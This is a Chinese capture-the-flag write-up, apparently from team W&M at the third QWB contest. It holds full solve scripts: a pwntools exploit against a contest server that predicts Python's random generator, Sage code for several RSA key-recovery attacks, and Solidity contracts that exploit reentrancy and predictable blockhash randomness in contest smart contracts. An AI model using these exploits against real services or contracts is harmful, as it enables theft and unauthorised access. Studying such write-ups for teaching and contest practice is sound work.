    randintdata = str(random.randint(0,2**64))
    print "Try: ", randintdata
    p.sendline(randintdata)
    i = -10
    time_num = 1
    data = p.recvline()
    print data

    while "fail" in data:
        time_num += 1
        random.seed(t + i)

        for x in range(time_num):
            randintdata = str(random.randint(0,2**64))

        print "Try: ", randintdata
        p.sendline(randintdata)

        i += 1
        data = p.recvline()

        if i == 8:
            print "attack fail!"
            exit()

def second(p, x1, x2):
    x1 = x1.strip()
    x2 = x2.strip()
    print x1,x2
    o = subprocess.check_output(["/usr/lib/jvm/jdk-12.0.1/bin/java", "test", x1, x2])

    while len(o.split('\n')) == 1:
        p.sendline("1")
        p.recv()
        print p.recvuntil("[-]")
        data1 = p.recvuntil("\n").strip()
        p.recvuntil("[-]")
        data2 = p.recvuntil("\n").strip()
        o = subprocess.check_output(["/usr/lib/jvm/jdk-12.0.1/bin/java", "test", data1, data2])

    print "output:", o.split('\n')

    p.sendline(o.split('\n')[0])
    p.recv()

def third(p):

    rc = RandCrack()
    for i in range(624):
        p.sendline("1")
        oneline = p.recvline()
        print i, int(oneline[10:-1])
        this_num = int(oneline[10:-1])
        rc.submit(this_num)
        p.recvuntil('[-]')
    this_num =  rc.predict_randrange(0, 4294967295)
    
    p.sendline(str(this_num))
    print p.recv()
    print p.recv()
    print p.recv()


def attack():
    p = remote("119.3.245.36", 23456)
    p.recvuntil("hexdigest()=")
    skr_sha256 = p.recvuntil("\n")
    p.recvuntil("('hex')=")
    shr5 = p.recvuntil("\n").strip().decode("hex")
    p.recv()
    p.sendline(proof(shr5, skr_sha256))
    p.recv()
    p.sendline("bfdccbebf86687951f6d37b3e5a35fe1")
  
    p.recv()
    p.recv()
    one(p, int(time.time()))
    # print p.recvuntil("[-]")
    print p.recvuntil("[-]")
    data1 = p.recvuntil("\n")
    p.recvuntil("[-]")
    data2 = p.recvuntil("\n")
    
    second(p, data1, data2)
    print p.recv()
    p.recv()
    third(p)
attack()

copperstudy

[+]Generating challenge 1

[+]n=0xa1888c641a05aeb81b3d1686317a86f104791fe1d570a5b11209f45d09ea401d255a70744e7a2d39520e359c23a9f1209ee47f496dbd279e62ee1648b3a277ced8825298274322e0a7a86deea282676310a73b6bb946fc924c34ac6c8784ff559bf9a004c03fb167ef54aaea90ce587f2f3074b40d7f632022ec8fb12e659953L
[+]e=3
[+]m=random.getrandbits(512)
[+]c=pow(m,e,n)=0x93145ece45f416a11e5e9475518f165365456183c361500c2f78aff263028c90f20b7d97205f54e21f3bcc8a556b457889fde3719d0a0f9c9646f3f0d0a1e4bee0f259f023168fe8cc0511848c1635022fcc20b6088084585e2f8055a9d1b1d6bdb228087900bf7c6d42298f8e45c451562c816e2303990834c94e580bf0cbd1L
[+]((m>>72)<<72)=0x9e67d3a220a3dcf6fc4742052621f543b8c78d5d9813e69272e65ac676672446e5c88887e8bfdfc92ec87ec74c16350e6b539e3bd910b000000000000000000L

# 70841b8fe11fd1872e
# 9e67d3a220a3dcf6fc4742052621f543b8c78d5d9813e69272e65ac676672446e5c88887e8bfdfc92ec87ec74c16350e6b539e3bd910b70841b8fe11fd1872eL

密文高位已知 网上找脚本直接跑

e = 0x3
b = 0x9e67d3a220a3dcf6fc4742052621f543b8c78d5d9813e69272e65ac676672446e5c88887e8bfdfc92ec87ec74c16350e6b539e3bd910b000000000000000000L
n = 0xa1888c641a05aeb81b3d1686317a86f104791fe1d570a5b11209f45d09ea401d255a70744e7a2d39520e359c23a9f1209ee47f496dbd279e62ee1648b3a277ced8825298274322e0a7a86deea282676310a73b6bb946fc924c34ac6c8784ff559bf9a004c03fb167ef54aaea90ce587f2f3074b40d7f632022ec8fb12e659953L
c=0x93145ece45f416a11e5e9475518f165365456183c361500c2f78aff263028c90f20b7d97205f54e21f3bcc8a556b457889fde3719d0a0f9c9646f3f0d0a1e4bee0f259f023168fe8cc0511848c1635022fcc20b6088084585e2f8055a9d1b1d6bdb228087900bf7c6d42298f8e45c451562c816e2303990834c94e580bf0cbd1L
kbits=72
PR.<x> = PolynomialRing(Zmod(n))
f = (x + b)^e-c
x0 = f.small_roots(X=2^kbits, beta=1)[0]
print "x: %s" %hex(int(x0))
[+]Generating challenge 2
[+]n=0x241ac918f708fff645d3d6e24315e5bb045c02e788c2b7f74b2b83484ce9c0285b6c54d99e2a601a386237d666db2805175e7cc86a733a97aeaab63486133103e30c1dca09741819026bd3ea8d08746d1d38df63c025c1793bdc7e38d194a30b492aadf9e31a6c1240a65db49e061b48f1f2ae949ac9e7e0992ed24f9c01578dL
[+]e=65537
[+]m=random.getrandbits(512)
[+]c=pow(m,e,n)=0x1922e7151c779d6bb554cba6a05858415e74739c36df0bcf169e49ef0e566a4353c51a306036970005f2321d1d104f91a673f40944e830619ed683d8f84eaf26e7a93c4abe1dbd7ca3babf3f4959def0e3d87f7818d54633a790fc74e9fed3c5b5456c21e3f425240f6217b0b14516cb59aa0ce74b83ca17d8cc4a0fbc829fb8L
[+]((p>>128)<<128)=0x2c1e75652df018588875c7ab60472abf26a234bc1bfc1b685888fb5ded29ab5b93f5105c1e9b46912368e626777a873200000000000000000000000000000000L

p高位已知,低位未知。和2017年国赛的那个rsa一样。

n = 0x241ac918f708fff645d3d6e24315e5bb045c02e788c2b7f74b2b83484ce9c0285b6c54d99e2a601a386237d666db2805175e7cc86a733a97aeaab63486133103e30c1dca09741819026bd3ea8d08746d1d38df63c025c1793bdc7e38d194a30b492aadf9e31a6c1240a65db49e061b48f1f2ae949ac9e7e0992ed24f9c01578dL
p_fake = 0x2c1e75652df018588875c7ab60472abf26a234bc1bfc1b685888fb5ded29ab5b93f5105c1e9b46912368e626777a873200000000000000000000000000000000L
 
pbits = 1024
kbits = 130
pbar = p_fake & (2^pbits-2^kbits)
print "upper %d bits (of %d bits) is given" % (pbits-kbits, pbits)
 
PR.<x> = PolynomialRing(Zmod(n))
f = x + pbar
 
x0 = f.small_roots(X=2^kbits, beta=0.4)[0]  # find root < 2^kbits with factor >= n^0.3
print hex(int(x0 + pbar))

# output :  0x2c1e75652df018588875c7ab60472abf26a234bc1bfc1b685888fb5ded29ab5b93f5105c1e9b46912368e626777a87321efe89ec89bdf3e4d9da9a45df22a787L
[+]Generating challenge 3

[+]n=0x51fb3416aa0d71a430157d7c9853602a758e15462e7c08827b04cd3220c427bbb8199ed4f5393dae43f013b68732a685defc17497f0912c886fa780dfacdfbb1461197d95a92a7a74ade874127a61411e14a901382ed3fb9d62c040c0dbaa374b5a4df06481a26da3fca271429ff10a4fc973b1c82553e3c1dd4f2f37dc24b3bL

[+]e=3
[+]m=random.getrandbits(512)
[+]c=pow(m,e,n)=0x3d7e16fd8b0b1afdb4e12594c3d8590f1175800ef07bb275d7a8ad983d0d5d5fd5c6f81efa40f5d10c48bb200f805e679d633ee584748e5feef003e0921dea736ba91eef72f3d591d3a54cd59fd36f61140fdd3fb2e2c028b684e50cbeae4a1f386f6ab35359d46a29996c0f7d9a4a189f1096150496746f064c3cc41cf111b0L
[+]d=invmod(e,(p-1)*(q-1))
[+]d&((1<<512)-1)=0x17c4b18f1290b6a0886eaa7bf426485a3994c5b71186fe84d5138e18de7e060db57f9580381a917fdfd171bfd159825a7d1e2800e2774f5e4449d17e6723749bL
[-]long_to_bytes(m).encode('hex')=
d = 0x36a7780f1c08f66d7563a8fdbae2401c4e5eb8d97452b056fcadde216b2d6fd27abbbf38a37b7e742d4ab7cf04cc6f03e9fd64dbaa060c85af51a55ea733fd2017c4b18f1290b6a0886eaa7bf426485a3994c5b71186fe84d5138e18de7e060db57f9580381a917fdfd171bfd159825a7d1e2800e2774f5e4449d17e6723749bL

已知低位的密钥和N。Partial Key Exposure Attack(部分私钥暴露攻击)

def partial_p(p0, kbits, n):
    PR.<x> = PolynomialRing(Zmod(n))
    nbits = n.nbits()
    f = 2^kbits*x + p0
    f = f.monic()
    roots = f.small_roots(X=2^(nbits//2-kbits), beta=0.3)  # find root < 2^(nbits//2-kbits) with factor >= n^0.3
    if roots:
        x0 = roots[0]
        p = gcd(2^kbits*x0 + p0, n)
        return ZZ(p)


def find_p(d0, kbits, e, n):
    X = var('X')


    for k in xrange(1, e+1):
        results = solve_mod([e*d0*X - k*X*(n-X+1) + k*n == X], 2^kbits)
        for x in results:
            p0 = ZZ(x[0])
            p = partial_p(p0, kbits, n)
            if p:
                return p


if __name__ == '__main__':
    # n = 0x51fb3416aa0d71a430157d7c9853602a758e15462e7c08827b04cd3220c427bbb8199ed4f5393dae43f013b68732a685defc17497f0912c886fa780dfacdfbb1461197d95a92a7a74ade874127a61411e14a901382ed3fb9d62c040c0dbaa374b5a4df06481a26da3fca271429ff10a4fc973b1c82553e3c1dd4f2f37dc24b3bL
    e = 3
    # d = 0x17c4b18f1290b6a0886eaa7bf426485a3994c5b71186fe84d5138e18de7e060db57f9580381a917fdfd171bfd159825a7d1e2800e2774f5e4449d17e6723749bL

    n = 57569201048993475052349187244752169754165154575782760003851777813767048953051839288528137121670999884309849815765999616346303792471518639080697166767644957046582385785721102370288806038187956032505761532789716009522131450217010629338000241936036185205038814391205848232364006349213836317806903032515194407739
    nbits = n.nbits()
    kbits = floor(nbits*0.5)
    print "kbits : ", kbits 
    d0 = 1244848677959253796774387650148978357579294769878147704641867595620534030329181934099194560059806799908134954814673426128260540575360296026444649631806619
    print "lower %d bits (of %d bits) is given" % (kbits, nbits)

    p = find_p(d0, kbits, e, n)
    print "found p: %d" % p
    q = n//p
    # print d
    print inverse_mod(e, (p-1))
[+]Generating challenge 4
[+]e=3
[+]m=random.getrandbits(512)

[+]n1=0x4b25bd834da788533ebef06f552bc8230024d1a571226770bd93bad3b202af4de7f680252a61cc423b3143db075196d6c282e71e84a3f3fe582c69c822389ddf76a86f9169334868119a884b8185c4ee559a3540141c785f2a9e1d59e3c828b26fc785ae4b578da073a39000fbaca6f30807a6110079dc64693dd1089835ea0bL

[+]c1=pow(m,e,n1)=0x5e6a4b86018060a6c38952cfd450695ca90444c51d4e0de4690dbadd5000f7bb62e752bbd70c27f342792cc669f0d650b0c8e31b233963c32ebc2297d5aae650a8be7ba5a49319cc010ea8333de09fb4ae9e25af4cce79afcaad80263fbb02329dadb49bfb5f87791c9d29e52103f0153a200f7a11b00086c3c7ae6bbc30269L

[+]n2=0x2388ddafc70ba72e181857376f3b23bf6b95c5f721a05e5e499caed0ee81a40031223718156752eef2c7535d8d8d0224126975492f8f002ca98d923ba3f05bff14eac24fb35dd50683cadc3ae0fa55ac368ebe5eb4ecfeb48ada4d785d7c64524783ef50a7c599a27b6a2afa9e1c1a41c6aba40dfd316eef4dc6718eba2af1c5L

[+]c2=pow(m,e,n2)=0x71c907c67faf78314ff0332a7fe1d23fd6c9d788425affd54b851c805327fe363c340b047b555f356b1d8b6a930cb22a2e2eb3eb492ab4b307bc782c34fe1dfd032a2d838a80fbf8f6990baa4c712bc9f3bcae964806d418301cd25bc35c0d07a3fc24b25ecc527d3bfafaa5c6ffcf171446238925a76039a2aadc557efb871L

[+]n3=0x33e9cbd05b84dc1e5d314656c937c2225351bd0573a5d2d8db357db8afb65be91b0362f8c1b9bbaab51c23decfff77cf8160e260c3374c2fd5b69d1a64cdddb5bd6e37e049e4a657d4a239177b9ec23a873ae272861567b8ea000880d0ba8e7f0449de97f955a78e78e7c8a3becbf3adb6825326786d98ecc30d34be67b5be69L

[+]c3=pow(m,e,n3)=0x37bf32f9bfd3afc668b2fb4f48ab3e888bbc204eda2dd05af8dc08974698aa7808cb8623ee16cb17ccc9e27de90d283569390f1ea155a645e46a47f4a1c147d139b631219a94ea3fcac314515a112c7e673ddf594482eec00c0ec8c46dbf4bc4532c19a5dcdbc0a1c8882937b5546653e73c047473df8aa350d876c7a62f60fL
[-]long_to_bytes(m).encode('hex')

用中国剩余定律算下就可以了。

[+]Generating challenge 5

[+]n=0x198f61bc7d2977139120b86b739afbd04e82726a7dcf514cc2ad46c7002d2202915ba932364d71b7dd1928fb6861f984d8d9e31e70d0023aca721130e1df2825568a623c8316fd555616d91897a2db5d1df973a1584ed4cfb0f55d910db5ff64a79f061ef71b2362b6c2af8416a5a47094aff428d6c541448df45436ec48f93L

[+]e=3
[+]m=random.getrandbits(512)
[+]c=pow(m,e,n)=0x13a5213f8946b3da1b37a7346f7985ed17329b05c31cc72912e15ab62c2b578f95148f7f2fb3daed063f5517efd9694d8a87792b675715d50d9113baa0bbfb1791f8e551ce5583c3dc31adf37dced9dab4acf3e58a5f3e203b1c971a746de5e9ac0b4d0153538f9392a0ce12250c5597eb23f07b4d7c84a084fc1dd0dee6b1cL
[+]x=pow(m+1,e,n)=0xa864c9ffa08edc2d2a380fde218fe07204193c43580ee0a3fd1505e3f60125c3f380fab24bbd344bca174f3b5b09ed271b817cb08fa6087f2b9d2216a1c7782714c50f475b0e3ca8b530ae33f4f4fb72c14ac0331b107d9dfcbbb193ac6946edd01e9cf5cab799a444dd9a49eb5362f6a499fa69540ac1d3dfbb977f57cd8eL

计算公式 (m+1)^3 - m^3 = c2-c1 3m^2+3m+1=c2-c1 计算delta

import gmpy2
n=0x198f61bc7d2977139120b86b739afbd04e82726a7dcf514cc2ad46c7002d2202915ba932364d71b7dd1928fb6861f984d8d9e31e70d0023aca721130e1df2825568a623c8316fd555616d91897a2db5d1df973a1584ed4cfb0f55d910db5ff64a79f061ef71b2362b6c2af8416a5a47094aff428d6c541448df45436ec48f93L
c1=0x13a5213f8946b3da1b37a7346f7985ed17329b05c31cc72912e15ab62c2b578f95148f7f2fb3daed063f5517efd9694d8a87792b675715d50d9113baa0bbfb1791f8e551ce5583c3dc31adf37dced9dab4acf3e58a5f3e203b1c971a746de5e9ac0b4d0153538f9392a0ce12250c5597eb23f07b4d7c84a084fc1dd0dee6b1cL
c2=0xa864c9ffa08edc2d2a380fde218fe07204193c43580ee0a3fd1505e3f60125c3f380fab24bbd344bca174f3b5b09ed271b817cb08fa6087f2b9d2216a1c7782714c50f475b0e3ca8b530ae33f4f4fb72c14ac0331b107d9dfcbbb193ac6946edd01e9cf5cab799a444dd9a49eb5362f6a499fa69540ac1d3dfbb977f57cd8eL
e=3
for i in range(0,99999):
    c=1-n*i+(c1-c2)
    if(9-12*c)>0:
        if ((gmpy2.iroot(9-12*c,2)[0]-3)%6==0):
            m=(gmpy2.iroot(9-12*c,2)[0]-3)/6
            if pow(m,e,n)==c1:
                print m
[+]Generating challenge 6
[+]n=0xbadd260d14ea665b62e7d2e634f20a6382ac369cd44017305b69cf3a2694667ee651acded7085e0757d169b090f29f3f86fec255746674ffa8a6a3e1c9e1861003eb39f82cf74d84cc18e345f60865f998b33fc182a1a4ffa71f5ae48a1b5cb4c5f154b0997dc9b001e441815ce59c6c825f064fdca678858758dc2cebbc4d27L
[+]d=random.getrandbits(1024*0.270)
[+]e=invmod(d,phin)
[+]hex(e)=0x11722b54dd6f3ad9ce81da6f6ecb0acaf2cbc3885841d08b32abc0672d1a7293f9856db8f9407dc05f6f373a2d9246752a7cc7b1b6923f1827adfaeefc811e6e5989cce9f00897cfc1fc57987cce4862b5343bc8e91ddf2bd9e23aea9316a69f28f407cfe324d546a7dde13eb0bd052f694aefe8ec0f5298800277dbab4a33bbL
[+]m=random.getrandbits(512)
[+]c=pow(m,e,n)=0xe3505f41ec936cf6bd8ae344bfec85746dc7d87a5943b3a7136482dd7b980f68f52c887585d1c7ca099310c4da2f70d4d5345d3641428797030177da6cc0d41e7b28d0abce694157c611697df8d0add3d900c00f778ac3428f341f47ecc4d868c6c5de0724b0c3403296d84f26736aa66f7905d498fa1862ca59e97f8f866cL
[-]long_to_bytes(m).encode('hex')=

Boneh and Durfee attack.

用这个脚本 https://github.com/mimoo/RSA-and-LLL-attacks/blob/master/boneh_durfee.sage xx

BABYBANK

我们通过合约地址进行逆向得到合约的逆向代码( https://ethervm.io/decompile/第三届强网杯部分WriteUp By W&M 由代码分析我们得出代码中的关键函数分别为:guess、profit、transfer、withdraw。 且合约中存在两个关键变量:balance(余额)以及level(一种标记)。 在审计合约之后我们发现 profit函数:每个账户只允许调用一次,并发送钱包1 token; guess函数需要level值为1且调用后余额+1、leve+1 ; 而transfer函数满足必须balance与level同时为2才能调用,且调用后收款方余额变为2,且转账方余额变为0 ; withdraw函数表示取款,且合约会将以太币转给msg.sender。 然而漏洞点就在withdraw中。熟悉区块链的人都知道此处使用.call方法进行转账,而这种方法会调用收款方的fallback函数,从而引发重入攻击。 于是我们利用此来进行攻击。我们还看到withdraw中还存在如下方法:  第三届强网杯部分WriteUp By W&M 当存在减法且没有判断时,我们就可以认定这里存在溢出,然而要满足溢出条件需要storage[temp2]<temp1。可是前面代码加了判断,所以我们需要在中间调用.call时进行对余额的操作从而让其减小。 我们可以在合约调用如下句子的时候调用收款人的fallback函数从而再次执行withdraw,加入合约余额为2,转账金额设置为2。而在中间进行调用可以很好的绕过余额的检测,从而达成2-2-2的情况,从而溢出。 贴上攻击合约

contract hack{
	babybank a;
	uint count = 0;
	event log(uint256);
	constructor(address b)public{
        a = babybank(b);
    }
    function () public payable {
        if(count==2){
            log(3);
        }else{
            count = count + 1;
      a.withdraw(2);
        log(1);
        }
    }
    function getMoney() public payable{}
    
    function hacker() public{
    	a.withdraw(2);
    	log(2);
    }
    function payforflag1(string md5ofteamtoken,string b64email) public{
        a.payforflag(md5ofteamtoken,b64email);
    }
    
    function kill() {
   
      selfdestruct(0xd630cb8c3bbfd38d1880b8256ee06d168ee3859c);
    }
    
}

第三届强网杯部分WriteUp By W&M 1 由于合约本身没有以太币,所以我们先生成合约A调用自杀函数给题目转钱。 2 进行转账操作,我们使用账户B分别调用profit()、guess()、transfer()给C账户转2token。 3 当C有了2token便可以进行攻击,调用hacker函数即可。 PS:由于合约需要前四位为“b1b1”的账户,所以我们需要 https://vanity-eth.tk/来生成相应的账户B 。   第三届强网杯部分WriteUp By W&M 调动成功后在邮箱收到flag  第三届强网杯部分WriteUp By W&M

babybet

给了部分合约代码

pragma solidity ^0.4.23;

contract babybet {
    mapping(address => uint) public balance;
    mapping(address => uint) public status;
    address owner;
    
    //Don't leak your teamtoken plaintext!!! md5(teamtoken).hexdigest() is enough.
    //Gmail is ok. 163 and qq may have some problems.
    event sendflag(string md5ofteamtoken,string b64email); 
    
    constructor()public{
        owner = msg.sender;
        balance[msg.sender]=1000000;
    }
    
    //pay for flag
    function payforflag(string md5ofteamtoken,string b64email) public{
        require(balance[msg.sender] >= 1000000);
        if (msg.sender!=owner){
        balance[msg.sender]=0;}
        owner.transfer(address(this).balance);
        emit sendflag(md5ofteamtoken,b64email);
    }
    
    modifier onlyOwner(){
        require(msg.sender == owner);
        _;
    }

逆向合约,得到关键函数:profit、bet、func_048F(转账函数)。 发现此问题相比上一道题利用方法更为简单。首先调用profit函数获得空投10 token。 之后进入bet函数,而bet函数有如下判断:首先余额要>=10 、status要小于2、传入的参数要与随机数相同,之后便会给与此账户1000代币,并将status改为2 。 于是我们的函数调用顺序为:创建新合约账户A,调用profit、预测随机数调用guess、调用转账函数汇总token。 合约要求代币要>1000000,所以上述薅羊毛过程需要重复1000次,并汇总到一个账户中。 具体合约如下:

contract midContract {
    babybet target = babybet(0x5d1BeEFD4dE611caFf204e1A318039324575599A);

    function process() public {
        target.profit();
        bytes32 guess = block.blockhash(block.number - 0x01);
        uint guess1 = uint(guess) % 0x03;
        target.bet(guess1);

    }
        function transfer(address a, uint b) public{
        // target.func_048F(a,b);
        bytes4 method = 0xf0d25268;
        target.call(method,a,b);
        selfdestruct();
    }
}

contract hack {
    // babybet target; = babybet(0x5d1BeEFD4dE611caFf204e1A318039324575599A);


function ffff() public {
     for(int i=0;i<=20;i++){
            midContract mid = new midContract();
            mid.process();
            mid.transfer("0x9b9a30b7df47b9dbe0ec7d4bd52aaae4465f2ebe",1000);
        }
    }
}

每次生成新合约,循环20次,所以此合约执行50次即可。记得将gas limit调大。 预测十分简单,即使用一下语句即可 第三届强网杯部分WriteUp By W&M 第三届强网杯部分WriteUp By W&M 第三届强网杯部分WriteUp By W&M 调用后拿到flag  第三届强网杯部分WriteUp By W&M

强网先锋_辅助

n1,n2公因数,用以前的脚本跑一下就出来了。

import gmpy2
import libnum

n1=14967030059975114950295399874185047053736587880127990542035765201425779342430662517765063258784685868107066789475747180244711352646469776732938544641583842313791872986357504462184924075227433498631423289187988351475666785190854210389587594975456064984611990461126684301086241532915267311675164190213474245311019623654865937851653532870965423474555348239858021551589650169602439423841160698793338115204238140085738680883313433574060243600028500600824624358473403059597593891412179399165813622512901263380299561019624741488779367019389775786547292065352885007224239581776975892385364446446185642939137287519945974807727
n2=14624662628725820618622370803948630854094687814338334827462870357582795291844925274690253604919535785934208081825425541536057550227048399837243392490762167733083030368221240764693694321150104306044125934201699430146970466657410999261630825931178731857267599750324918610790098952520113593130245010530961350592735239454337631927669542026935873535964487595433984902529960726655481696404006628917922241666148082741874033756970724357470539589848548704573091633917869387239324447730587545472564561496724882799495186768858324490838169123077051890332313671220385830444331578674338014080959653201802476516237464651809255679979
c1=2482083893746618248544426737023750400124543452082436334398504986023501710639402060949106693279462896968839029712099336235976221571564642900240827774719199533124053953157919850838214021934907480633441577316263853011232518392904983028052155862154264401108124968404098823946691811798952747194237290581323868666637357604693015079007555594974245559555518819140844020498487432684946922741232053249894575417796067090655122702306134848220257943297645461477488086804856018323986796999103385565540496534422406390355987976815450744535949785073009043007159496929187184338592859040917546122343981520508220332785862546608841127597
c2=3829060039572042737496679186881067950328956133163629908872348108160129550437697677150599483923925798224328175594483217938833520220087230303470138525970468915511111320396185482564783975435346354440035776909781158407636044986403819840648379609630039348895415045723208843631191252142600667607807479954194447237061080618370787672720344741413537975922184859333432197766580150534457001196765621678659952108010596273244230812327182786329760844037149719587269632133595149294067490955644893402708720284179715002149224068928828656515326446881791228638008572889331511945042911372915003805505412099102954073299010951896955362470
e1=65537
e2=65537

q=gmpy2.gcd(n1,n2)
p1=n1//q
p2=n2//q

d1=gmpy2.invert(e1,(p1-1)*(q-1))
d2=gmpy2.invert(e2,(p2-1)*(q-1))

while d1<0:
    d1+=(p1-1)*(q-1)
while d2<0:
    d2+=(p2-1)*(q-1)
m2=pow(c2,d2,n2)
m1=pow(c1,d1,n1)

print libnum.n2s(m2)
print libnum.n2s(m1)

第三届强网杯部分WriteUp By W&M


以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

用户思维+:好产品让用户为自己尖叫

用户思维+:好产品让用户为自己尖叫

[美] Kathy Sierra / 石航 / 人民邮电出版社 / 2017-9 / 69.00元

畅销产品与普通产品的本质区别是什么?若没有巨额预算、不爱营销噱头、不开奢华的产品发布会,如何打造可持续成功的产品?本书针对上述问题提出了新颖的观点:用户并不关心产品本身有多棒,而是关心使用产品时自己有多棒。作者利用其多年的交互设计经验,生动阐释了这一观点背后的科学。可贵的是,本书并不止步于解释“为什么”,还清晰呈现了“怎么做”。 本书风格活泼、图文并茂,其对话式内容既引人入胜,又引人深思,适......一起来看看 《用户思维+:好产品让用户为自己尖叫》 这本书的介绍吧!

随机密码生成器
随机密码生成器

多种字符组合密码

MD5 加密
MD5 加密

MD5 加密工具

RGB CMYK 转换工具
RGB CMYK 转换工具

RGB CMYK 互转工具